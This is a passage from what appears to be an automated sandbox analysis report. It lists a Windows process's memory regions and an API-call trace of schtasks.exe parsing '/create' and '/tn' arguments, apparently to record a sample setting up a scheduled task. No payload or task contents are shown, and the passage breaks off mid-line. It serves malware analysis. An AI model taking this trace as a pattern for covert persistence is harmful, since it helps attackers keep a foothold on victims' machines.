end_va = 0x5a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 4660 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4661 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4662 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4663 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4664 start_va = 0x5b0000 end_va = 0x730fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 4665 start_va = 0x740000 end_va = 0x1b3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 4666 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4667 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4668 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4669 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4670 start_va = 0x1b40000 end_va = 0x1e0efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4671 start_va = 0x1e10000 end_va = 0x1e8cfff monitored = 0 entry_point = 0x1e1cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4672 start_va = 0x1e10000 end_va = 0x1e8cfff monitored = 0 entry_point = 0x1e1cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4673 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4674 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4675 start_va = 0x1e10000 end_va = 0x1f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 4676 start_va = 0x1f30000 end_va = 0x200efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f30000" filename = "" Region: id = 4677 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4678 start_va = 0x2010000 end_va = 0x208ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 4679 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4680 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4681 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 4682 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4683 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 4684 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4685 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4686 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 204 os_tid = 0x93c [0088.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x29f7a0 | out: lpSystemTimeAsFileTime=0x29f7a0*(dwLowDateTime=0x5d98d3e0, dwHighDateTime=0x1d9eb0c)) [0088.296] GetCurrentProcessId () returned 0x938 [0088.296] GetCurrentThreadId () returned 0x93c [0088.296] GetTickCount () returned 0x176b744 [0088.296] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x29f7a8 | out: lpPerformanceCount=0x29f7a8*=2489477955634) returned 1 [0088.297] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0088.297] __set_app_type (_Type=0x1) [0088.297] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0088.297] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0088.298] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0088.298] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0088.298] _onexit (_Func=0xff932afc) returned 0xff932afc [0088.298] _onexit (_Func=0xff932b58) returned 0xff932b58 [0088.298] _onexit (_Func=0xff932b80) returned 0xff932b80 [0088.298] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0088.298] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0088.298] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0088.298] _onexit (_Func=0xff932c20) returned 0xff932c20 [0088.299] _onexit (_Func=0xff932c48) returned 0xff932c48 [0088.299] _onexit (_Func=0xff932c70) returned 0xff932c70 [0088.299] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0088.299] WinSqmIsOptedIn () returned 0x0 [0088.299] GetProcessHeap () returned 0xf0000 [0088.299] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x18) returned 0x105590 [0088.299] SetLastError (dwErrCode=0x0) [0088.300] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0088.300] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0088.300] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0088.300] VerifyVersionInfoW (in: lpVersionInformation=0x29ef60, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x29ef60) returned 1 [0088.300] GetProcessHeap () returned 0xf0000 [0088.300] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x18) returned 0x10bb50 [0088.300] lstrlenW (lpString="") returned 0 [0088.300] GetProcessHeap () returned 0xf0000 [0088.300] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x2) returned 0x10bb70 [0088.300] GetProcessHeap () returned 0xf0000 [0088.300] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105a80 [0088.300] GetProcessHeap () returned 0xf0000 [0088.300] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x18) returned 0x10bb90 [0088.300] GetProcessHeap () returned 0xf0000 [0088.300] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105ab0 [0088.300] GetProcessHeap () returned 0xf0000 [0088.300] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105ae0 [0088.300] GetProcessHeap () returned 0xf0000 [0088.300] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105b10 [0088.300] GetProcessHeap () returned 0xf0000 [0088.300] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105b40 [0088.300] GetProcessHeap () returned 0xf0000 [0088.300] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x18) returned 0x10bbb0 [0088.300] GetProcessHeap () returned 0xf0000 [0088.300] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105b70 [0088.300] GetProcessHeap () returned 0xf0000 [0088.300] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105ba0 [0088.300] GetProcessHeap () returned 0xf0000 [0088.300] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105bd0 [0088.300] GetProcessHeap () returned 0xf0000 [0088.300] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105c00 [0088.300] GetProcessHeap () returned 0xf0000 [0088.301] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x18) returned 0x10bbd0 [0088.301] GetProcessHeap () returned 0xf0000 [0088.301] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105c30 [0088.301] GetProcessHeap () returned 0xf0000 [0088.301] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105c60 [0088.301] GetProcessHeap () returned 0xf0000 [0088.301] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105c90 [0088.301] GetProcessHeap () returned 0xf0000 [0088.301] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105cc0 [0088.301] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0088.301] SetLastError (dwErrCode=0x0) [0088.301] GetProcessHeap () returned 0xf0000 [0088.301] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105cf0 [0088.301] GetProcessHeap () returned 0xf0000 [0088.301] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105d20 [0088.301] GetProcessHeap () returned 0xf0000 [0088.301] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105d50 [0088.301] GetProcessHeap () returned 0xf0000 [0088.301] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105d80 [0088.301] GetProcessHeap () returned 0xf0000 [0088.301] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105db0 [0088.301] GetProcessHeap () returned 0xf0000 [0088.301] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x18) returned 0x10bbf0 [0088.301] _memicmp (_Buf1=0x10bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.301] GetProcessHeap () returned 0xf0000 [0088.301] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x208) returned 0x10bd90 [0088.301] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x10bd90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0088.301] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0088.305] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0088.305] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0088.305] GetProcessHeap () returned 0xf0000 [0088.305] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x74e) returned 0x10c360 [0088.305] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0088.305] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x10c360 | out: lpData=0x10c360) returned 1 [0088.306] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0088.306] VerQueryValueW (in: pBlock=0x10c360, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x29f048, puLen=0x29f0b0 | out: lplpBuffer=0x29f048*=0x10c6fc, puLen=0x29f0b0) returned 1 [0088.308] _memicmp (_Buf1=0x10bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.308] _vsnwprintf (in: _Buffer=0x10bd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x29f028 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0088.308] VerQueryValueW (in: pBlock=0x10c360, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x29f0b8, puLen=0x29f0a8 | out: lplpBuffer=0x29f0b8*=0x10c528, puLen=0x29f0a8) returned 1 [0088.308] lstrlenW (lpString="schtasks.exe") returned 12 [0088.308] lstrlenW (lpString="schtasks.exe") returned 12 [0088.308] lstrlenW (lpString=".EXE") returned 4 [0088.308] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0088.309] lstrlenW (lpString="schtasks.exe") returned 12 [0088.309] lstrlenW (lpString=".EXE") returned 4 [0088.309] _memicmp (_Buf1=0x10bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.309] lstrlenW (lpString="schtasks") returned 8 [0088.309] GetProcessHeap () returned 0xf0000 [0088.309] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x105ea0 [0088.309] GetProcessHeap () returned 0xf0000 [0088.309] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10cc70 [0088.310] GetProcessHeap () returned 0xf0000 [0088.310] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10cca0 [0088.310] GetProcessHeap () returned 0xf0000 [0088.310] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10ccd0 [0088.310] GetProcessHeap () returned 0xf0000 [0088.310] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x18) returned 0x10bc10 [0088.310] _memicmp (_Buf1=0x10bc10, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.310] GetProcessHeap () returned 0xf0000 [0088.310] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0xa0) returned 0x10c190 [0088.310] GetProcessHeap () returned 0xf0000 [0088.310] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10cd00 [0088.310] GetProcessHeap () returned 0xf0000 [0088.310] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10cd30 [0088.310] GetProcessHeap () returned 0xf0000 [0088.310] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10cd60 [0088.310] GetProcessHeap () returned 0xf0000 [0088.310] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x18) returned 0x10bc30 [0088.310] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.310] GetProcessHeap () returned 0xf0000 [0088.310] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x200) returned 0x10d440 [0088.310] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0088.311] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0088.311] GetProcessHeap () returned 0xf0000 [0088.311] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x30) returned 0x107c10 [0088.311] _vsnwprintf (in: _Buffer=0x10c190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x29f028 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0088.311] GetProcessHeap () returned 0xf0000 [0088.311] GetProcessHeap () returned 0xf0000 [0088.311] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c360) returned 1 [0088.311] GetProcessHeap () returned 0xf0000 [0088.311] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10c360) returned 0x74e [0088.311] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c360 | out: hHeap=0xf0000) returned 1 [0088.311] SetLastError (dwErrCode=0x0) [0088.311] GetThreadLocale () returned 0x409 [0088.311] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.312] lstrlenW (lpString="?") returned 1 [0088.312] GetThreadLocale () returned 0x409 [0088.312] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.312] lstrlenW (lpString="create") returned 6 [0088.312] GetThreadLocale () returned 0x409 [0088.312] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.312] lstrlenW (lpString="delete") returned 6 [0088.312] GetThreadLocale () returned 0x409 [0088.312] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.312] lstrlenW (lpString="query") returned 5 [0088.312] GetThreadLocale () returned 0x409 [0088.312] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.312] lstrlenW (lpString="change") returned 6 [0088.312] GetThreadLocale () returned 0x409 [0088.312] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.312] lstrlenW (lpString="run") returned 3 [0088.312] GetThreadLocale () returned 0x409 [0088.312] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.312] lstrlenW (lpString="end") returned 3 [0088.312] GetThreadLocale () returned 0x409 [0088.312] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.312] lstrlenW (lpString="showsid") returned 7 [0088.312] GetThreadLocale () returned 0x409 [0088.312] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.312] SetLastError (dwErrCode=0x0) [0088.312] SetLastError (dwErrCode=0x0) [0088.312] lstrlenW (lpString="/create") returned 7 [0088.312] lstrlenW (lpString="-/") returned 2 [0088.313] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0088.313] lstrlenW (lpString="?") returned 1 [0088.313] lstrlenW (lpString="?") returned 1 [0088.313] GetProcessHeap () returned 0xf0000 [0088.313] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x18) returned 0x10c240 [0088.313] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.313] GetProcessHeap () returned 0xf0000 [0088.313] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0xa) returned 0x10c360 [0088.313] lstrlenW (lpString="create") returned 6 [0088.313] GetProcessHeap () returned 0xf0000 [0088.313] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x18) returned 0x10c380 [0088.313] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.313] GetProcessHeap () returned 0xf0000 [0088.313] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x14) returned 0x10c3a0 [0088.313] _vsnwprintf (in: _Buffer=0x10c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|?|") returned 3 [0088.313] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|create|") returned 8 [0088.313] lstrlenW (lpString="|?|") returned 3 [0088.313] lstrlenW (lpString="|create|") returned 8 [0088.313] SetLastError (dwErrCode=0x490) [0088.313] lstrlenW (lpString="create") returned 6 [0088.313] lstrlenW (lpString="create") returned 6 [0088.313] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.313] GetProcessHeap () returned 0xf0000 [0088.313] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c360) returned 1 [0088.313] GetProcessHeap () returned 0xf0000 [0088.313] RtlReAllocateHeap (Heap=0xf0000, Flags=0xc, Ptr=0x10c360, Size=0x14) returned 0x10c3c0 [0088.313] lstrlenW (lpString="create") returned 6 [0088.313] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.313] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|create|") returned 8 [0088.313] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|create|") returned 8 [0088.314] lstrlenW (lpString="|create|") returned 8 [0088.314] lstrlenW (lpString="|create|") returned 8 [0088.314] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0088.314] SetLastError (dwErrCode=0x0) [0088.314] SetLastError (dwErrCode=0x0) [0088.314] SetLastError (dwErrCode=0x0) [0088.314] lstrlenW (lpString="/tn") returned 3 [0088.314] lstrlenW (lpString="-/") returned 2 [0088.314] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0088.314] lstrlenW (lpString="?") returned 1 [0088.314] lstrlenW (lpString="?") returned 1 [0088.314] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.314] lstrlenW (lpString="tn") returned 2 [0088.314] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.314] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|?|") returned 3 [0088.314] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|tn|") returned 4 [0088.314] lstrlenW (lpString="|?|") returned 3 [0088.314] lstrlenW (lpString="|tn|") returned 4 [0088.314] SetLastError (dwErrCode=0x490) [0088.314] lstrlenW (lpString="create") returned 6 [0088.314] lstrlenW (lpString="create") returned 6 [0088.314] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.314] lstrlenW (lpString="tn") returned 2 [0088.314] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.314] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|create|") returned 8 [0088.314] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|tn|") returned 4 [0088.314] lstrlenW (lpString="|create|") returned 8 [0088.314] lstrlenW (lpString="|tn|") returned 4 [0088.315] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0088.315] SetLastError (dwErrCode=0x490) [0088.315] lstrlenW (lpString="delete") returned 6 [0088.315] lstrlenW (lpString="delete") returned 6 [0088.315] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.315] lstrlenW (lpString="tn") returned 2 [0088.315] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.315] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|delete|") returned 8 [0088.315] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|tn|") returned 4 [0088.315] lstrlenW (lpString="|delete|") returned 8 [0088.315] lstrlenW (lpString="|tn|") returned 4 [0088.315] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0088.315] SetLastError (dwErrCode=0x490) [0088.315] lstrlenW (lpString="query") returned 5 [0088.315] lstrlenW (lpString="query") returned 5 [0088.315] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.315] lstrlenW (lpString="tn") returned 2 [0088.315] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.315] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|query|") returned 7 [0088.315] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|tn|") returned 4 [0088.315] lstrlenW (lpString="|query|") returned 7 [0088.315] lstrlenW (lpString="|tn|") returned 4 [0088.315] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0088.315] SetLastError (dwErrCode=0x490) [0088.315] lstrlenW (lpString="change") returned 6 [0088.315] lstrlenW (lpString="change") returned 6 [0088.315] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.315] lstrlenW (lpString="tn") returned 2 [0088.315] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.316] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|change|") returned 8 [0088.316] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|tn|") returned 4 [0088.316] lstrlenW (lpString="|change|") returned 8 [0088.316] lstrlenW (lpString="|tn|") returned 4 [0088.316] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0088.316] SetLastError (dwErrCode=0x490) [0088.316] lstrlenW (lpString="run") returned 3 [0088.316] lstrlenW (lpString="run") returned 3 [0088.316] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.316] lstrlenW (lpString="tn") returned 2 [0088.316] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.316] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|run|") returned 5 [0088.316] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|tn|") returned 4 [0088.316] lstrlenW (lpString="|run|") returned 5 [0088.316] lstrlenW (lpString="|tn|") returned 4 [0088.316] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0088.316] SetLastError (dwErrCode=0x490) [0088.316] lstrlenW (lpString="end") returned 3 [0088.316] lstrlenW (lpString="end") returned 3 [0088.316] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.316] lstrlenW (lpString="tn") returned 2 [0088.316] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.316] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|end|") returned 5 [0088.316] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: 